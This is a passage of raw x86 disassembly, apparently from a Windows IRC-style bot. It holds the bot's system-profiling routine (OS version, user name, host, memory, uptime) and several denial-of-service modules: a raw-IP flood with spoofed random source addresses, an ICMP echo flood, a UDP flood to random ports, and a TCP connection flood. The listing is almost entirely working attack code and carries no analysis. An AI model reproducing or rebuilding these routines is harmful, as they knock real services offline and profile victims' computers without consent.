eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_42765C push eax mov eax, ecx div ebx push eax push offset dword_41EF0C push 32h push esi call sub_40E7AB add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_4053E4 endp ; =============== S U B R O U T I N E ======================================= sub_40544D proc near ; CODE XREF: sub_405503+226p push ebx push esi push edi mov esi, 0F4240h loc_405455: ; CODE XREF: sub_40544D+2Fj ; sub_40544D+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call dword_41A060 ; Sleep rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_410660 mov edi, edx mov ebx, eax test edi, edi ja short loc_405455 jb short loc_405484 cmp ebx, esi ja short loc_405455 loc_405484: ; CODE XREF: sub_40544D+31j push 0 push 64h push edi push ebx call sub_4105E0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_4054F7 jb short loc_4054A3 cmp esi, 50h jnb short loc_4054A8 loc_4054A3: ; CODE XREF: sub_40544D+4Fj push 4Bh xor edx, edx pop eax loc_4054A8: ; CODE XREF: sub_40544D+54j test ecx, ecx ja short loc_4054F7 jb short loc_4054B3 cmp esi, 47h jnb short loc_4054B8 loc_4054B3: ; CODE XREF: sub_40544D+5Fj push 42h xor edx, edx pop eax loc_4054B8: ; CODE XREF: sub_40544D+64j test ecx, ecx ja short loc_4054F7 jb short loc_4054C3 cmp esi, 37h jnb short loc_4054C8 loc_4054C3: ; CODE XREF: sub_40544D+6Fj push 32h xor edx, edx pop eax loc_4054C8: ; CODE XREF: sub_40544D+74j test ecx, ecx ja short loc_4054F7 jb short loc_4054D3 cmp esi, 26h jnb short loc_4054D8 loc_4054D3: ; CODE XREF: sub_40544D+7Fj push 21h xor edx, edx pop eax loc_4054D8: ; CODE XREF: sub_40544D+84j test ecx, ecx ja short loc_4054F7 jb short loc_4054E3 cmp esi, 1Eh jnb short loc_4054E8 loc_4054E3: ; CODE XREF: sub_40544D+8Fj push 19h xor edx, edx pop eax loc_4054E8: ; CODE XREF: sub_40544D+94j test ecx, ecx ja short loc_4054F7 jb short loc_4054F3 cmp esi, 0Ah jnb short loc_4054F7 loc_4054F3: ; CODE XREF: sub_40544D+9Fj xor eax, eax xor edx, edx loc_4054F7: ; CODE XREF: sub_40544D+4Dj ; sub_40544D+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_40544D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405503 proc near ; CODE XREF: sub_40997B+3BA0p var_4DC = byte ptr -4DCh var_3D8 = byte ptr -3D8h var_2DC = byte ptr -2DCh var_250 = word ptr -250h var_24E = byte ptr -24Eh var_150 = byte ptr -150h var_108 = byte ptr -108h var_C0 = byte ptr -0C0h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4DCh push ebx lea eax, [ebp+var_A0] push esi push eax mov [ebp+var_4], offset byte_424EF4 mov [ebp+var_A0], 94h call dword_41A0D4 ; GetVersionExA xor ebx, ebx cmp [ebp+var_9C], 4 jnz short loc_405589 cmp [ebp+var_98], ebx jnz short loc_405565 cmp [ebp+var_90], 1 jnz short loc_40554F mov [ebp+var_4], offset a95 ; "95" loc_40554F: ; CODE XREF: sub_405503+43j cmp [ebp+var_90], 2 jnz loc_405604 mov [ebp+var_4], offset aNt ; "NT" jmp short loc_4055D5 ; --------------------------------------------------------------------------- loc_405565: ; CODE XREF: sub_405503+3Aj cmp [ebp+var_98], 0Ah jnz short loc_405577 mov [ebp+var_4], offset a98 ; "98" jmp short loc_4055CC ; --------------------------------------------------------------------------- loc_405577: ; CODE XREF: sub_405503+69j cmp [ebp+var_98], 5Ah jnz short loc_4055C5 mov [ebp+var_4], offset aMe ; "ME" jmp short loc_4055CC ; --------------------------------------------------------------------------- loc_405589: ; CODE XREF: sub_405503+32j cmp [ebp+var_9C], 5 jnz short loc_4055C5 cmp [ebp+var_98], ebx jnz short loc_4055A3 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_4055CC ; --------------------------------------------------------------------------- loc_4055A3: ; CODE XREF: sub_405503+95j cmp [ebp+var_98], 1 jnz short loc_4055B5 mov [ebp+var_4], offset aXp ; "XP" jmp short loc_4055CC ; --------------------------------------------------------------------------- loc_4055B5: ; CODE XREF: sub_405503+A7j cmp [ebp+var_98], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_4055CC loc_4055C5: ; CODE XREF: sub_405503+7Bj ; sub_405503+8Dj mov [ebp+var_4], offset dword_41F054 loc_4055CC: ; CODE XREF: sub_405503+72j ; sub_405503+84j ... cmp [ebp+var_90], 2 jnz short loc_405604 loc_4055D5: ; CODE XREF: sub_405503+60j cmp [ebp+var_8C], bl jz short loc_405604 lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_2DC] push [ebp+var_4] push offset dword_41F04C push eax call sub_40EE10 lea eax, [ebp+var_2DC] add esp, 10h mov [ebp+var_4], eax loc_405604: ; CODE XREF: sub_405503+53j ; sub_405503+D0j ... mov ax, word_41F048 push edi push 3Fh mov [ebp+var_250], ax pop ecx xor eax, eax lea edi, [ebp+var_24E] mov [ebp+var_C], 100h rep stosd stosw mov eax, dword_427200 pop edi cmp eax, ebx jz short loc_40563F lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_250] push ecx call eax ; GetUserNameA loc_40563F: ; CODE XREF: sub_405503+12Dj push [ebp+arg_4] call sub_404F3A pop ecx push eax call dword_427354 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4272CC ; gethostbyaddr cmp eax, ebx jz short loc_405668 push dword ptr [eax] jmp short loc_40566D ; --------------------------------------------------------------------------- loc_405668: ; CODE XREF: sub_405503+15Fj push offset aCouldnTResolve ; "couldn't resolve host" loc_40566D: ; CODE XREF: sub_405503+163j lea eax, [ebp+var_3D8] push eax call sub_40EE10 pop ecx lea eax, [ebp+var_4DC] pop ecx push 104h push eax call dword_41A0E8 ; GetSystemDirectoryA lea eax, [ebp+var_108] push 46h push eax push offset dword_41F024 push ebx mov esi, 409h push ebx push esi call dword_41A0E4 ; GetDateFormatA lea eax, [ebp+var_150] push 46h push eax push offset dword_41F018 push ebx push ebx push esi call dword_41A0E0 ; GetTimeFormatA push 20h lea eax, [ebp+var_C0] push ebx push eax call sub_40E800 add esp, 0Ch lea eax, [ebp+var_C0] push eax call dword_41A0DC ; GlobalMemoryStatus push ebx call sub_4053E4 pop ecx push eax lea eax, [ebp+var_150] push eax lea eax, [ebp+var_108] push eax lea eax, [ebp+var_250] push eax push [ebp+arg_4] call sub_404F3A pop ecx push eax lea eax, [ebp+var_3D8] push eax lea eax, [ebp+var_4DC] push eax push [ebp+var_94] push [ebp+var_98] push [ebp+var_9C] push [ebp+var_4] call sub_40544D push edx push eax push offset dword_41EF18 push 200h push [ebp+arg_0] call sub_40E7AB mov eax, [ebp+arg_0] add esp, 40h pop esi pop ebx leave retn sub_405503 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40574C proc near ; CODE XREF: sub_40997B+29F8p ; sub_40997B+3BD5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_40E800 add esp, 0Ch cmp dword_4273FC, 0 jnz short loc_4057B8 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4271E4 ; InternetGetConnectedStateEx test eax, eax jnz short loc_4057A1 lea eax, [ebp+var_8C] push offset dword_41F0F0 push eax call sub_40EE10 pop ecx pop ecx loc_4057A1: ; CODE XREF: sub_40574C+40j test [ebp+var_C], 1 jz short loc_4057AE push offset dword_41F0E8 jmp short loc_4057B3 ; --------------------------------------------------------------------------- loc_4057AE: ; CODE XREF: sub_40574C+59j push offset dword_41F0E4 loc_4057B3: ; CODE XREF: sub_40574C+60j lea eax, [ebp+var_8] jmp short loc_4057D0 ; --------------------------------------------------------------------------- loc_4057B8: ; CODE XREF: sub_40574C+28j mov esi, offset off_41F0E0 lea eax, [ebp+var_8] push esi push eax call sub_40EE10 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_4057D0: ; CODE XREF: sub_40574C+6Aj push eax call sub_40EE10 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_404F3A pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_41F078 push 200h push [ebp+arg_0] call sub_40E7AB mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40574C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40580B proc near ; CODE XREF: sub_4095BB+12Fp var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+var_4] push edi push eax push [ebp+arg_0] call sub_419A42 mov esi, eax test esi, esi jz loc_4058B3 push esi call sub_40E882 mov edi, eax pop ecx test edi, edi jz short loc_4058B3 push edi push esi push [ebp+var_4] push [ebp+arg_0] call sub_419A3C test eax, eax jz short loc_40588E lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push offset dword_41F100 push edi call sub_419A36 test eax, eax jz short loc_4058AC mov eax, [ebp+var_8] mov ecx, [eax+0Ch] shr ecx, 10h cmp cx, 0A28h jnz short loc_4058AC movzx eax, word ptr [eax+0Ch] cmp eax, 884h jz short loc_4058A7 cmp eax, 9C9h jz short loc_4058A3 cmp eax, 0A7Dh jz short loc_40589F cmp eax, 0B4Ch jz short loc_40589B loc_40588E: ; CODE XREF: sub_40580B+3Aj xor esi, esi loc_405890: ; CODE XREF: sub_40580B+9Fj push edi call sub_40ECAF pop ecx mov eax, esi jmp short loc_4058B5 ; --------------------------------------------------------------------------- loc_40589B: ; CODE XREF: sub_40580B+81j push 2 jmp short loc_4058A9 ; --------------------------------------------------------------------------- loc_40589F: ; CODE XREF: sub_40580B+7Aj push 4 jmp short loc_4058A9 ; --------------------------------------------------------------------------- loc_4058A3: ; CODE XREF: sub_40580B+73j push 3 jmp short loc_4058A9 ; --------------------------------------------------------------------------- loc_4058A7: ; CODE XREF: sub_40580B+6Cj push 1 loc_4058A9: ; CODE XREF: sub_40580B+92j ; sub_40580B+96j ... pop esi jmp short loc_405890 ; --------------------------------------------------------------------------- loc_4058AC: ; CODE XREF: sub_40580B+51j ; sub_40580B+61j push edi call sub_40ECAF pop ecx loc_4058B3: ; CODE XREF: sub_40580B+18j ; sub_40580B+29j xor eax, eax loc_4058B5: ; CODE XREF: sub_40580B+8Ej pop edi pop esi leave retn sub_40580B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4058B9 proc near ; DATA XREF: sub_40997B+3A14o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_427394 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_405954 call dword_4272A8 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_41F228 push eax call sub_40EE10 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_405937 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_4084CC add esp, 14h loc_405937: ; CODE XREF: sub_4058B9+5Cj lea eax, [ebp+var_3BC] push eax call sub_407A4E push [ebp+var_38] call sub_40E4F2 pop ecx pop ecx push edi call dword_41A084 ; ExitThread loc_405954: ; CODE XREF: sub_4058B9+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_4272F4 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_4059CB call dword_4272A8 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_41F1F0 push eax call sub_40EE10 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4059AE push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_4084CC add esp, 14h loc_4059AE: ; CODE XREF: sub_4058B9+D3j lea eax, [ebp+var_3BC] push eax call sub_407A4E push [ebp+var_38] call sub_40E4F2 pop ecx pop ecx push edi call dword_41A084 ; ExitThread loc_4059CB: ; CODE XREF: sub_4058B9+B3j lea eax, [ebp+var_1B8] push eax call dword_427354 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_405A32 lea eax, [ebp+var_3BC] push offset unk_41F1C8 push eax call sub_40EE10 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_405A15 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_4084CC add esp, 14h loc_405A15: ; CODE XREF: sub_4058B9+13Aj lea eax, [ebp+var_3BC] push eax call sub_407A4E push [ebp+var_38] call sub_40E4F2 pop ecx pop ecx push edi call dword_41A084 ; ExitThread loc_405A32: ; CODE XREF: sub_4058B9+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_40E800 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_427314 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_427354 ; inet_addr mov esi, dword_41A090 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax loc_405A70: ; CODE XREF: sub_4058B9+2E8j call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_405C1B push 41Ch mov byte_427698, 45h call dword_427314 ; htons cmp [ebp+var_2C], edi mov word_42769A, ax mov word_42769C, bx mov word_42769E, di mov byte_4276A0, 80h mov byte_4276A1, bl mov word_4276A2, di jz short loc_405AF6 call sub_410198 mov ebx, eax shl ebx, 8 call sub_410198 add ebx, eax shl ebx, 8 call sub_410198 add ebx, eax shl ebx, 8 call sub_410198 add ebx, eax push 1 mov dword_4276A4, ebx pop ebx jmp short loc_405B0E ; --------------------------------------------------------------------------- loc_405AF6: ; CODE XREF: sub_4058B9+20Bj push [ebp+var_1BC] call sub_404F3A pop ecx push eax call dword_427354 ; inet_addr mov dword_4276A4, eax loc_405B0E: ; CODE XREF: sub_4058B9+23Bj mov eax, [ebp+var_18] mov dword_4276A8, eax call sub_410198 cdq mov ecx, 100h idiv ecx mov byte_4276AC, dl call sub_410198 cdq mov ecx, 100h idiv ecx mov byte_4276AD, dl call sub_410198 cdq mov ecx, 0F0h push 400h idiv ecx mov word_4276AE, di mov word_4276B2, bx inc edx mov word_4276B0, dx call sub_410198 cdq mov ecx, 0FFh idiv ecx push edx push offset dword_4276B4 call sub_40E800 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_427698 push [ebp+var_4] call dword_427378 ; sendto cmp eax, 0FFFFFFFFh jz short loc_405BA6 inc [ebp+arg_0] jmp loc_405A70 ; --------------------------------------------------------------------------- loc_405BA6: ; CODE XREF: sub_4058B9+2E3j push [ebp+var_4] call dword_4273AC ; closesocket call dword_4272A8 ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset dword_41F170 lea eax, [ebp+var_3BC] push 200h push eax call sub_40E7AB add esp, 18h cmp [ebp+var_24], edi jnz short loc_405BFE push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_4084CC add esp, 14h loc_405BFE: ; CODE XREF: sub_4058B9+323j lea eax, [ebp+var_3BC] push eax call sub_407A4E push [ebp+var_38] call sub_40E4F2 pop ecx pop ecx push edi call dword_41A084 ; ExitThread loc_405C1B: ; CODE XREF: sub_4058B9+1C8j push [ebp+var_4] call dword_4273AC ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset dword_41F104 push eax call sub_40EE10 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_405C83 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_4084CC add esp, 14h loc_405C83: ; CODE XREF: sub_4058B9+3A8j lea eax, [ebp+var_3BC] push eax call sub_407A4E push [ebp+var_38] call sub_40E4F2 pop ecx pop ecx push edi call dword_41A084 ; ExitThread sub_4058B9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405CA0 proc near ; DATA XREF: sub_40997B+2DAEo var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_40EC80 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_4272A0 ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_427354 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_405CFB lea eax, [ebp+var_C0] push eax call dword_427398 ; gethostbyname cmp eax, ebx jz short loc_405D01 loc_405CFB: ; CODE XREF: sub_405CA0+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_405D5E loc_405D01: ; CODE XREF: sub_405CA0+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset dword_41F294 push eax call sub_40EE10 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_405D41 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_4084CC add esp, 14h loc_405D41: ; CODE XREF: sub_405CA0+7Fj lea eax, [ebp+var_344] push eax call sub_407A4E push [ebp+var_30] call sub_40E4F2 pop ecx pop ecx push edi call dword_41A084 ; ExitThread loc_405D5E: ; CODE XREF: sub_405CA0+5Fj cmp eax, ebx jz short loc_405D6E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_405D71 ; --------------------------------------------------------------------------- loc_405D6E: ; CODE XREF: sub_405CA0+C0j mov [ebp+var_4], esi loc_405D71: ; CODE XREF: sub_405CA0+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_40E800 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_405D91 mov [ebp+var_3C], eax loc_405D91: ; CODE XREF: sub_405CA0+ECj cmp [ebp+var_38], edi jge short loc_405D99 mov [ebp+var_38], edi loc_405D99: ; CODE XREF: sub_405CA0+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_405DC6 loc_405DA0: ; CODE XREF: sub_405CA0+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_427238 ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_405DA0 loc_405DC6: ; CODE XREF: sub_405CA0+FEj push [ebp+arg_0] call dword_4273CC ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset dword_41F25C push eax call sub_40EE10 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_405E0F push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_4084CC add esp, 14h loc_405E0F: ; CODE XREF: sub_405CA0+14Dj lea eax, [ebp+var_344] push eax call sub_407A4E push [ebp+var_30] call sub_40E4F2 pop ecx pop ecx push ebx call dword_41A084 ; ExitThread sub_405CA0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E2C proc near ; DATA XREF: sub_40997B+2EFAo var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_40EC80 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call dword_41A090 ; GetTickCount push eax call sub_41018E pop ecx push 11h push 2 push 2 call dword_427394 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_40E800 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_427354 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_405F11 lea eax, [ebp+var_B0] push eax call dword_427398 ; gethostbyname cmp eax, edi jnz short loc_405F0A lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_41F300 push eax call sub_40EE10 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_405EED push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_4084CC add esp, 14h loc_405EED: ; CODE XREF: sub_405E2C+9Fj lea eax, [ebp+var_334] push eax call sub_407A4E push [ebp+var_20] call sub_40E4F2 pop ecx pop ecx push esi call dword_41A084 ; ExitThread loc_405F0A: ; CODE XREF: sub_405E2C+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_405F14 ; --------------------------------------------------------------------------- loc_405F11: ; CODE XREF: sub_405E2C+6Ej lea eax, [ebp+arg_0] loc_405F14: ; CODE XREF: sub_405E2C+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_405F2F call sub_410198 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_405F32 ; --------------------------------------------------------------------------- loc_405F2F: ; CODE XREF: sub_405E2C+F0j push [ebp+var_24] loc_405F32: ; CODE XREF: sub_405E2C+101j call dword_427314 ; htons cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_405F44 mov [ebp+var_24], esi loc_405F44: ; CODE XREF: sub_405E2C+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_405F51 mov [ebp+var_24], eax loc_405F51: ; CODE XREF: sub_405E2C+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_405F65 mov [ebp+var_28], esi loc_405F65: ; CODE XREF: sub_405E2C+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_405F86 loc_405F6C: ; CODE XREF: sub_405E2C+158j call sub_410198 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_405F6C loc_405F86: ; CODE XREF: sub_405E2C+13Ej ; sub_405E2C+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_405FE5 push 0Bh pop esi loc_405F93: ; CODE XREF: sub_405E2C+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_410198 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_427378 ; sendto push [ebp+var_28] call dword_41A060 ; Sleep dec esi jnz short loc_405F93 cmp [ebp+var_24], edi jnz short loc_405F86 call sub_410198 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_427314 ; htons mov [ebp+var_E], ax jmp short loc_405F86 ; --------------------------------------------------------------------------- loc_405FE5: ; CODE XREF: sub_405E2C+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_41F2C8 push eax call sub_40EE10 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_406025 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_4084CC add esp, 14h loc_406025: ; CODE XREF: sub_405E2C+1D7j lea eax, [ebp+var_334] push eax call sub_407A4E push [ebp+var_20] call sub_40E4F2 pop ecx pop ecx push edi call dword_41A084 ; ExitThread sub_405E2C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406042 proc near ; DATA XREF: sub_40997B+1922o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_4061A3 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset dword_41F334 push eax call sub_40EE10 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4060C2 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_4084CC add esp, 14h loc_4060C2: ; CODE XREF: sub_406042+5Ej lea eax, [ebp+var_414] push eax call sub_407A4E push [ebp+var_10] call sub_40E4F2 pop ecx pop ecx push esi call dword_41A084 ; ExitThread pop edi pop esi sub_406042 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060E1 proc near ; CODE XREF: sub_4061A3+27p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_40E800 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_427314 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_40619F push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_40612C: ; CODE XREF: sub_4060E1+B9j lea esi, [ebp+var_654] mov ebx, edi loc_406134: ; CODE XREF: sub_4060E1+7Aj push 0 push 1 push 2 call dword_41A1C4 ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_406157 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call dword_41A1A0 ; ioctlsocket loc_406157: ; CODE XREF: sub_4060E1+64j add esi, 4 dec ebx jnz short loc_406134 lea esi, [ebp+var_654] mov ebx, edi loc_406165: ; CODE XREF: sub_4060E1+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call dword_41A1B8 ; connect add esi, 4 dec ebx jnz short loc_406165 push 64h call dword_41A060 ; Sleep lea esi, [ebp+var_654] mov ebx, edi loc_406189: ; CODE XREF: sub_4060E1+B4j push dword ptr [esi] call dword_41A1C0 ; closesocket add esi, 4 dec ebx jnz short loc_406189 dec [ebp+arg_4] jnz short loc_40612C pop edi pop esi pop ebx loc_40619F: ; CODE XREF: sub_4060E1+3Ej xor eax, eax leave retn sub_4060E1 endp ; =============== S U B R O U T I N E ======================================= sub_4061A3 proc near ; CODE XREF: sub_406042+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_404F02 push [esp+10h+arg_4] mov edi, eax call sub_40FB66 push [esp+14h+arg_8] mov ebx, eax call sub_40FB66 mov esi, eax push esi push ebx push edi call sub_4060E1 add esp, 18h test eax, eax jnz short loc_4061D9 push 1 pop eax loc_4061D9: ; CODE XREF: sub_4061A3+31j cdq mov ecx, 3E8h pop edi 